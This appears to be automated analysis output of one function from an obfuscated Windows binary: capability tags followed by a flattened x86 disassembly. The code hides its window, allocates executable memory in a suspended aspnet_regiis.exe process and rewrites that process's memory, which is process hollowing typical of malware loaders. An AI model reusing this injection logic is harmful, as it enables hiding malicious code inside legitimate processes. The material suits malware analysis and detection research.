Function at 0x10002d00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x10066000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x174], 0xdc725eca
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x81ed8e43
je 0x10003d3e
jmp 0x10002d3c
mov eax, dword [ebp - 0x178]
sub eax, 0x84454e82
je 0x10004c09
jmp 0x10002d52
mov eax, dword [ebp - 0x178]
sub eax, 0x854f1c61
je 0x10005ea3
jmp 0x10002d68
mov eax, dword [ebp - 0x178]
sub eax, 0x86dae407
je 0x10004a89
jmp 0x10002d7e
mov eax, dword [ebp - 0x178]
sub eax, 0x8972ea4a
je 0x100051ae
jmp 0x10002d94
mov eax, dword [ebp - 0x178]
sub eax, 0x8a28b4b8
je 0x100043f4
jmp 0x10002daa
mov eax, dword [ebp - 0x178]
sub eax, 0x8f716ec8
je 0x100059e3
jmp 0x10002dc0
mov eax, dword [ebp - 0x178]
sub eax, 0x91b254c5
je 0x10005bc7
jmp 0x10002dd6
mov eax, dword [ebp - 0x178]
sub eax, 0x94eb9104
je 0x100043e5
jmp 0x10002dec
mov eax, dword [ebp - 0x178]
sub eax, 0x98fb2144
je 0x100048fe
jmp 0x10002e02
mov eax, dword [ebp - 0x178]
sub eax, 0x9d491158
je 0x10004030
jmp 0x10002e18
mov eax, dword [ebp - 0x178]
sub eax, 0x9f502dd4
je 0x10005f7d
jmp 0x10002e2e
mov eax, dword [ebp - 0x178]
sub eax, 0x9f765a25
je 0x10003cbf
jmp 0x10002e44
mov eax, dword [ebp - 0x178]
sub eax, 0xa3638476
je 0x10003ab1
jmp 0x10002e5a
mov eax, dword [ebp - 0x178]
sub eax, 0xa534132c
je 0x10005431
jmp 0x10002e70
mov eax, dword [ebp - 0x178]
sub eax, 0xa5ec94f6
je 0x10004204
jmp 0x10002e86
mov eax, dword [ebp - 0x178]
sub eax, 0xabd70326
je 0x10004d48
jmp 0x10002e9c
mov eax, dword [ebp - 0x178]
sub eax, 0xae60c2e3
je 0x1000400f
jmp 0x10002eb2
mov eax, dword [ebp - 0x178]
sub eax, 0xb0984979
je 0x10003d9e
jmp 0x10002ec8
mov eax, dword [ebp - 0x178]
sub eax, 0xb118a4f4
je 0x10006140
jmp 0x10002ede
mov eax, dword [ebp - 0x178]
sub eax, 0xb4eee340
je 0x100056aa
jmp 0x10002ef4
mov eax, dword [ebp - 0x178]
sub eax, 0xb4f075b8
je 0x100040c1
jmp 0x10002f0a
mov eax, dword [ebp - 0x178]
sub eax, 0xb5b9d1b8
je 0x10004849
jmp 0x10002f20
mov eax, dword [ebp - 0x178]
sub eax, 0xb6f74c99
je 0x1000404b
jmp 0x10002f36
mov eax, dword [ebp - 0x178]
sub eax, 0xb7f65a04
je 0x10005da7
jmp 0x10002f4c
mov eax, dword [ebp - 0x178]
sub eax, 0xb8fcdf6e
je 0x10005f6e
jmp 0x10002f62
mov eax, dword [ebp - 0x178]
sub eax, 0xbb54a154
je 0x1000609b
jmp 0x10002f78
mov eax, dword [ebp - 0x178]
sub eax, 0xbc740557
je 0x1000449a
jmp 0x10002f8e
mov eax, dword [ebp - 0x178]
sub eax, 0xbd0062fe
je 0x10004658
jmp 0x10002fa4
mov eax, dword [ebp - 0x178]
sub eax, 0xbe7b8c5c
je 0x100058a9
jmp 0x10002fba
mov eax, dword [ebp - 0x178]
sub eax, 0xbfffe300
je 0x10005c03
jmp 0x10002fd0
mov eax, dword [ebp - 0x178]
sub eax, 0xc057dfe9
je 0x1000614f
jmp 0x10002fe6
mov eax, dword [ebp - 0x178]
sub eax, 0xc138f00f
je 0x100042e2
jmp 0x10002ffc
mov eax, dword [ebp - 0x178]
sub eax, 0xc1bbec30
je 0x100054b3
jmp 0x10003012
mov eax, dword [ebp - 0x178]
sub eax, 0xc3b3fcbc
je 0x10004888
jmp 0x10003028
mov eax, dword [ebp - 0x178]
sub eax, 0xc4f6267d
je 0x10004533
jmp 0x1000303e
mov eax, dword [ebp - 0x178]
sub eax, 0xc59e0f23
je 0x100046ec
jmp 0x10003054
mov eax, dword [ebp - 0x178]
sub eax, 0xc798dd69
je 0x10004e61
jmp 0x1000306a
mov eax, dword [ebp - 0x178]
sub eax, 0xcba72866
je 0x10005795
jmp 0x10003080
mov eax, dword [ebp - 0x178]
sub eax, 0xcd1a68bb
je 0x10005ae5
jmp 0x10003096
mov eax, dword [ebp - 0x178]
sub eax, 0xcdd36131
je 0x1000615e
jmp 0x100030ac
mov eax, dword [ebp - 0x178]
sub eax, 0xce9ce1bd
je 0x1000572f
jmp 0x100030c2
mov eax, dword [ebp - 0x178]
sub eax, 0xd13e95ac
je 0x10005fa7
jmp 0x100030d8
mov eax, dword [ebp - 0x178]
sub eax, 0xd177514f
je 0x10004bb1
jmp 0x100030ee
mov eax, dword [ebp - 0x178]
sub eax, 0xd4b77097
je 0x10004e29
jmp 0x10003104
mov eax, dword [ebp - 0x178]
sub eax, 0xd5cfdebe
je 0x10005eee
jmp 0x1000311a
mov eax, dword [ebp - 0x178]
sub eax, 0xd85adb4c
je 0x1000528c
jmp 0x10003130
mov eax, dword [ebp - 0x178]
sub eax, 0xd8686aee
je 0x10005bd6
jmp 0x10003146
mov eax, dword [ebp - 0x178]
sub eax, 0xd8ac3106
je 0x1000462d
jmp 0x1000315c
mov eax, dword [ebp - 0x178]
sub eax, 0xd8fb0303
je 0x10005264
jmp 0x10003172
mov eax, dword [ebp - 0x178]
sub eax, 0xdb9b48b7
je 0x10004f55
jmp 0x10003188
mov eax, dword [ebp - 0x178]
sub eax, 0xdc1e2a4e
je 0x10006117
jmp 0x1000319e
mov eax, dword [ebp - 0x178]
sub eax, 0xdc3403ad
je 0x10005d0d
jmp 0x100031b4
mov eax, dword [ebp - 0x178]
sub eax, 0xdc70b4c8
je 0x100052b3
jmp 0x100031ca
mov eax, dword [ebp - 0x178]
sub eax, 0xdc725eca
je 0x10003a3b
jmp 0x100031e0
mov eax, dword [ebp - 0x178]
sub eax, 0xe0e0f82e
je 0x10005c79
jmp 0x100031f6
mov eax, dword [ebp - 0x178]
sub eax, 0xe192e177
je 0x10003dbf
jmp 0x1000320c
mov eax, dword [ebp - 0x178]
sub eax, 0xe57cd07b
je 0x10005247
jmp 0x10003222
mov eax, dword [ebp - 0x178]
sub eax, 0xe75121a1
je 0x100041b3
jmp 0x10003238
mov eax, dword [ebp - 0x178]
sub eax, 0xe78da661
je 0x100054f9
jmp 0x1000324e
mov eax, dword [ebp - 0x178]
sub eax, 0xe7c765e2
je 0x10006019
jmp 0x10003264
mov eax, dword [ebp - 0x178]
sub eax, 0xe9b2b4c7
je 0x10005656
jmp 0x1000327a
mov eax, dword [ebp - 0x178]
sub eax, 0xea296709
je 0x10005e30
jmp 0x10003290
mov eax, dword [ebp - 0x178]
sub eax, 0xeb62ef57
je 0x1000467e
jmp 0x100032a6
mov eax, dword [ebp - 0x178]
sub eax, 0xf35df753
je 0x100059d4
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0x2ca638de
sub edx, 1
sub edx, 0x2ca638de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5521f3f5
mov ecx, 0xa3638476
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001220
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001220
add esp, 4
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0x725c71bd
sub edx, 1
add edx, 0x725c71bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5521f3f5
mov ecx, 0x6a308f39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x174], 0x6c9e6fe2
jmp 0x10006219
mov eax, dword [ebp - 0xf8]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xf1], al
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b7328f2
mov ecx, 0xb0984979
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dl, byte [ebp - 0xf1]
mov eax, 0x7ec0ce77
mov ecx, 0xe192e177
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea296709
mov ecx, 0xf738c42d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dl, byte [ebp - 0xe9]
mov eax, 0x9d491158
mov ecx, 0x49cc8752
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x174], 0xb6f74c99
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0x74875d42
sub edx, 1
sub edx, 0x74875d42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4d0e21f4
mov ecx, 0xb4f075b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
add edx, 0xc213a34
sub edx, 1
sub edx, 0xc213a34
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4d0e21f4
mov ecx, 0x548e0eef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0x28732531
sub edx, 1
add edx, 0x28732531
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x854f1c61
mov ecx, 0xa5ec94f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xe4], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
add edx, 0x921fad27
sub edx, 1
sub edx, 0x921fad27
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x854f1c61
mov ecx, 0x4430d747
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd5cfdebe
mov ecx, 0x6540fb18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0x8a28b4b8
jmp 0x10006219
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe0]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0x5d1c8bba
mov ecx, 0x4bd95302
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
add edx, 0xf9efd4ba
sub edx, 1
sub edx, 0xf9efd4ba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2dcf040
mov ecx, 0xbf3e29c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0x5d1c8bba
jmp 0x10006219
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x120]
movzx eax, word [eax + 6]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x174], 0xbd0062fe
jmp 0x10006219
mov edx, dword [ebp - 0xd0]
mov esi, dword [ebp - 0xcc]
mov eax, 0x622826a
mov ecx, 0xeb62ef57
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb8fcdf6e
mov ecx, 0xc59e0f23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xa9d49db1
sub edx, 1
add edx, 0xa9d49db1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8fcdf6e
mov ecx, 0x12f8572b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x158]
imul ecx, dword [ebp - 0x168], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x16c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x174], 0xc3b3fcbc
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0xc6547f9f
sub edx, 1
sub edx, 0xc6547f9f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9f502dd4
mov ecx, 0x98fb2144
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xb5], al
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0xcd409a59
sub edx, 1
add edx, 0xcd409a59
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f502dd4
mov ecx, 0x6fa90431
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7888d8b4
mov ecx, 0x62d4fca8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0xd8ac3106
jmp 0x10006219
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
add edx, 0x603a36c9
sub edx, 1
sub edx, 0x603a36c9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61e1a9b4
mov ecx, 0x749dffbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dl, byte [ebp - 0x9d]
mov eax, 0x7ef3c04c
mov ecx, 0x7ce84dcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0x71db1e05
jmp 0x10006219
mov dword [ebp - 0x174], 0x4969404b
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6c45d0fb
mov ecx, 0x63abdea8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x120]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x732be581
mov ecx, 0xc6c34e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x174], 0xd8fb0303
jmp 0x10006219
mov eax, dword [ebp - 0x110]
mov esi, dword [eax]
mov edx, dword [ebp - 0x90]
mov eax, 0x71eb58ed
mov ecx, 0xd85adb4c
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x174], 0xdc70b4c8
jmp 0x10006219
mov eax, dword [ebp - 0x8c]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x14747656
mov ecx, 0x2205b65b
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xe78da661
mov ecx, 0xfc3305c7
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x100]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x174], 0xe78da661
jmp 0x10006219
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
sub edx, 0x388149f2
sub edx, 1
add edx, 0x388149f2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc1e2a4e
mov ecx, 0x39a43f0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa67e472
mov ecx, 0xb4eee340
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0xe57cd07b
jmp 0x10006219
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 4]
mov dword [ebp - 0x78], eax
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
mov edx, eax
add edx, 0xf3566ad4
sub edx, 1
sub edx, 0xf3566ad4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb118a4f4
mov ecx, 0xcba72866
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0xf6cfea70
jmp 0x10006219
mov dword [ebp - 0x174], 0x7ef3c04c
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x732ab888
mov ecx, 0x728fffa8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf9940453
mov ecx, 0x421162cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov dword [ebp - 0x174], 0xd8686aee
jmp 0x10006219
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x174], 0xbfffe300
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0x18bcd4e
sub edx, 1
sub edx, 0x18bcd4e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6852abf2
mov ecx, 0xe0e0f82e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
add edx, 0x18138d12
sub edx, 1
sub edx, 0x18138d12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6852abf2
mov ecx, 0xf9c3ba75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov eax, dword [0x10067338]
mov ecx, dword [0x10067334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34a4ea74
mov ecx, 0x3e6faf03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x10006219
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006a50
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007650
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007650
add esp, 0xc
mov dword [ebp - 0x174], 0xf738c42d
